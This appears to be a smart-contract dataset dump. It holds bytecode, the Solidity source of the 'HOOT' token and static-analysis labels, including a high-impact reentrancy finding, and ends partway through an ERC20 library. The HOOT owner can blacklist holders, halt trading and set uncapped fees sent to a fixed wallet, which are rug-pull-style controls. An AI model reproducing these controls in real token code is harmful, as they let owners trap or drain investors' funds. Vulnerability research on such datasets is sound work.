60200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611148576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806117c76026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561124857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561128257600080fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000808284019050838110156113eb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561142f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561146957600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115145750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561152857600754811061152757600080fd5b5b61157a81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061160f81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136d90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60006116fe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611706565b905092915050565b60008383111582906117b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561177857808201518184015260208101905061175d565b50505050905090810190601f1680156117a55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220c0c3beff65b5594868c266d8b8bbabce771c11fa86a02cff0583bc71eef81fbb64736f6c634300060a0033
{"success": true, "error": null, "results": {}}
8,371
0xc474e4c34e69302ea7bf2fd30ad52fbc3527f8d5
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract HOOT is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = unicode"HOOT"; string private constant _symbol = unicode"HOOT"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 11; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 11; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x0deB2A25428c0a8F8094921a50dCe50A6511f645); address payable private _marketingAddress = payable(0x0deB2A25428c0a8F8094921a50dCe50A6511f645); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461051f578063dd62ed3e1461053f578063ea1644d514610585578063f2fde38b146105a557600080fd5b8063a2a957bb1461049a578063a9059cbb146104ba578063bfd79284146104da578063c3c8cd801461050a57600080fd5b80638f70ccf7116100d15780638f70ccf7146104445780638f9a55c01461046457806395d89b41146101fe57806398a5c3151461047a57600080fd5b80637d1db4a5146103e35780637f2feddc146103f95780638da5cb5b1461042657600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037957806370a082311461038e578063715018a6146103ae57806374010ece146103c357600080fd5b8063313ce567146102fd57806349bd5a5e146103195780636b999053146103395780636d8aa8f81461035957600080fd5b80631694505e116101ab5780631694505e1461026a57806318160ddd146102a257806323b872dd146102c75780632fd689e3146102e757600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023a57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461191a565b6105c5565b005b34801561020a57600080fd5b5060408051808201825260048152631213d3d560e21b6020820152905161023191906119df565b60405180910390f35b34801561024657600080fd5b5061025a610255366004611a34565b610664565b6040519015158152602001610231565b34801561027657600080fd5b5060145461028a906001600160a01b031681565b6040516001600160a01b039091168152602001610231565b3480156102ae57600080fd5b50670de0b6b3a76400005b604051908152602001610231565b3480156102d357600080fd5b5061025a6102e2366004611a60565b61067b565b3480156102f357600080fd5b506102b960185481565b34801561030957600080fd5b5060405160098152602001610231565b34801561032557600080fd5b5060155461028a906001600160a01b031681565b34801561034557600080fd5b506101fc610354366004611aa1565b6106e4565b34801561036557600080fd5b506101fc610374366004611ace565b61072f565b34801561038557600080fd5b506101fc610777565b34801561039a57600080fd5b506102b96103a9366004611aa1565b6107c2565b3480156103ba57600080fd5b506101fc6107e4565b3480156103cf57600080fd5b506101fc6103de366004611ae9565b610858565b3480156103ef57600080fd5b506102b960165481565b34801561040557600080fd5b506102b9610414366004611aa1565b60116020526000908152604090205481565b34801561043257600080fd5b506000546001600160a01b031661028a565b34801561045057600080fd5b506101fc61045f366004611ace565b610887565b34801561047057600080fd5b506102b960175481565b34801561048657600080fd5b506101fc610495366004611ae9565b6108cf565b3480156104a657600080fd5b506101fc6104b5366004611b02565b6108fe565b3480156104c657600080fd5b5061025a6104d5366004611a34565b61093c565b3480156104e657600080fd5b5061025a6104f5366004611aa1565b60106020526000908152604090205460ff1681565b34801561051657600080fd5b506101fc610949565b34801561052b57600080fd5b506101fc61053a366004611b34565b61099d565b34801561054b57600080fd5b506102b961055a366004611bb8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059157600080fd5b506101fc6105a0366004611ae9565b610a3e565b3480156105b157600080fd5b506101fc6105c0366004611aa1565b610a6d565b6000546001600160a01b031633146105f85760405162461bcd60e51b81526004016105ef90611bf1565b60405180910390fd5b60005b81518110156106605760016010600084848151811061061c5761061c611c26565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065881611c52565b9150506105fb565b5050565b6000610671338484610b57565b5060015b92915050565b6000610688848484610c7b565b6106da84336106d585604051806060016040528060288152602001611d6c602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111b7565b610b57565b5060019392505050565b6000546001600160a01b0316331461070e5760405162461bcd60e51b81526004016105ef90611bf1565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107595760405162461bcd60e51b81526004016105ef90611bf1565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ac57506013546001600160a01b0316336001600160a01b0316145b6107b557600080fd5b476107bf816111f1565b50565b6001600160a01b0381166000908152600260205260408120546106759061122b565b6000546001600160a01b0316331461080e5760405162461bcd60e51b81526004016105ef90611bf1565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108825760405162461bcd60e51b81526004016105ef90611bf1565b601655565b6000546001600160a01b031633146108b15760405162461bcd60e51b81526004016105ef90611bf1565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108f95760405162461bcd60e51b81526004016105ef90611bf1565b601855565b6000546001600160a01b031633146109285760405162461bcd60e51b81526004016105ef90611bf1565b600893909355600a91909155600955600b55565b6000610671338484610c7b565b6012546001600160a01b0316336001600160a01b0316148061097e57506013546001600160a01b0316336001600160a01b0316145b61098757600080fd5b6000610992306107c2565b90506107bf816112af565b6000546001600160a01b031633146109c75760405162461bcd60e51b81526004016105ef90611bf1565b60005b82811015610a385781600560008686858181106109e9576109e9611c26565b90506020020160208101906109fe9190611aa1565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3081611c52565b9150506109ca565b50505050565b6000546001600160a01b03163314610a685760405162461bcd60e51b81526004016105ef90611bf1565b601755565b6000546001600160a01b03163314610a975760405162461bcd60e51b81526004016105ef90611bf1565b6001600160a01b038116610afc5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105ef565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bb95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ef565b6001600160a01b038216610c1a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ef565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cdf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ef565b6001600160a01b038216610d415760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ef565b60008111610da35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ef565b6000546001600160a01b03848116911614801590610dcf57506000546001600160a01b03838116911614155b156110b057601554600160a01b900460ff16610e68576000546001600160a01b03848116911614610e685760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105ef565b601654811115610eba5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105ef565b6001600160a01b03831660009081526010602052604090205460ff16158015610efc57506001600160a01b03821660009081526010602052604090205460ff16155b610f545760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105ef565b6015546001600160a01b03838116911614610fd95760175481610f76846107c2565b610f809190611c6d565b10610fd95760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105ef565b6000610fe4306107c2565b601854601654919250821015908210610ffd5760165491505b8080156110145750601554600160a81b900460ff16155b801561102e57506015546001600160a01b03868116911614155b80156110435750601554600160b01b900460ff165b801561106857506001600160a01b03851660009081526005602052604090205460ff16155b801561108d57506001600160a01b03841660009081526005602052604090205460ff16155b156110ad5761109b826112af565b4780156110ab576110ab476111f1565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f257506001600160a01b03831660009081526005602052604090205460ff165b8061112457506015546001600160a01b0385811691161480159061112457506015546001600160a01b03848116911614155b15611131575060006111ab565b6015546001600160a01b03858116911614801561115c57506014546001600160a01b03848116911614155b1561116e57600854600c55600954600d555b6015546001600160a01b03848116911614801561119957506014546001600160a01b03858116911614155b156111ab57600a54600c55600b54600d555b610a3884848484611429565b600081848411156111db5760405162461bcd60e51b81526004016105ef91906119df565b5060006111e88486611c85565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610660573d6000803e3d6000fd5b60006006548211156112925760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105ef565b600061129c611457565b90506112a8838261147a565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112f7576112f7611c26565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611350573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113749190611c9c565b8160018151811061138757611387611c26565b6001600160a01b0392831660209182029290920101526014546113ad9130911684610b57565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113e6908590600090869030904290600401611cb9565b600060405180830381600087803b15801561140057600080fd5b505af1158015611414573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611436576114366114bc565b6114418484846114ea565b80610a3857610a38600e54600c55600f54600d55565b60008060006114646115e1565b9092509050611473828261147a565b9250505090565b60006112a883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611621565b600c541580156114cc5750600d54155b156114d357565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806114fc8761164f565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061152e90876116ac565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461155d90866116ee565b6001600160a01b03891660009081526002602052604090205561157f8161174d565b6115898483611797565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115ce91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a76400006115fc828261147a565b82101561161857505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116425760405162461bcd60e51b81526004016105ef91906119df565b5060006111e88486611d2a565b600080600080600080600080600061166c8a600c54600d546117bb565b925092509250600061167c611457565b9050600080600061168f8e878787611810565b919e509c509a509598509396509194505050505091939550919395565b60006112a883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b7565b6000806116fb8385611c6d565b9050838110156112a85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ef565b6000611757611457565b905060006117658383611860565b3060009081526002602052604090205490915061178290826116ee565b30600090815260026020526040902055505050565b6006546117a490836116ac565b6006556007546117b490826116ee565b6007555050565b60008080806117d560646117cf8989611860565b9061147a565b905060006117e860646117cf8a89611860565b90506000611800826117fa8b866116ac565b906116ac565b9992985090965090945050505050565b600080808061181f8886611860565b9050600061182d8887611860565b9050600061183b8888611860565b9050600061184d826117fa86866116ac565b939b939a50919850919650505050505050565b60008261186f57506000610675565b600061187b8385611d4c565b9050826118888583611d2a565b146112a85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ef565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107bf57600080fd5b8035611915816118f5565b919050565b6000602080838503121561192d57600080fd5b823567ffffffffffffffff8082111561194557600080fd5b818501915085601f83011261195957600080fd5b81358181111561196b5761196b6118df565b8060051b604051601f19603f83011681018181108582111715611990576119906118df565b6040529182528482019250838101850191888311156119ae57600080fd5b938501935b828510156119d3576119c48561190a565b845293850193928501926119b3565b98975050505050505050565b600060208083528351808285015260005b81811015611a0c578581018301518582016040015282016119f0565b81811115611a1e576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a4757600080fd5b8235611a52816118f5565b946020939093013593505050565b600080600060608486031215611a7557600080fd5b8335611a80816118f5565b92506020840135611a90816118f5565b929592945050506040919091013590565b600060208284031215611ab357600080fd5b81356112a8816118f5565b8035801515811461191557600080fd5b600060208284031215611ae057600080fd5b6112a882611abe565b600060208284031215611afb57600080fd5b5035919050565b60008060008060808587031215611b1857600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b4957600080fd5b833567ffffffffffffffff80821115611b6157600080fd5b818601915086601f830112611b7557600080fd5b813581811115611b8457600080fd5b8760208260051b8501011115611b9957600080fd5b602092830195509350611baf9186019050611abe565b90509250925092565b60008060408385031215611bcb57600080fd5b8235611bd6816118f5565b91506020830135611be6816118f5565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c6657611c66611c3c565b5060010190565b60008219821115611c8057611c80611c3c565b500190565b600082821015611c9757611c97611c3c565b500390565b600060208284031215611cae57600080fd5b81516112a8816118f5565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d095784516001600160a01b031683529383019391830191600101611ce4565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d4757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d6657611d66611c3c565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a13bbd817abd732bab54bcfdec439be407e1114557e12f0a808dbb49c36e15cd64736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
8,372
0x2d9498d0fd6f40760d53a847eb64eaf51c9b8e74
pragma solidity ^0.4.11; /** * @title ETHCON Early Bird Token * @author majoolr.io * * Only allows one token per account. See ETHCON.org for further information. * Implements ERC20 Library at 0x71ecde7c4b184558e8dba60d9f323d7a87411946 * * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ library ERC20Lib { using BasicMathLib for uint256; struct TokenStorage { mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint totalSupply; } event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event ErrorMsg(string msg); /// @dev Called by the Standard Token upon creation. /// @param self Stored token from token contract /// @param _initial_supply The initial token supply function init(TokenStorage storage self, uint256 _initial_supply) { self.totalSupply = _initial_supply; self.balances[msg.sender] = _initial_supply; } /// @dev Transfer tokens from caller&#39;s account to another account. /// @param self Stored token from token contract /// @param _to Address to send tokens /// @param _value Number of tokens to send 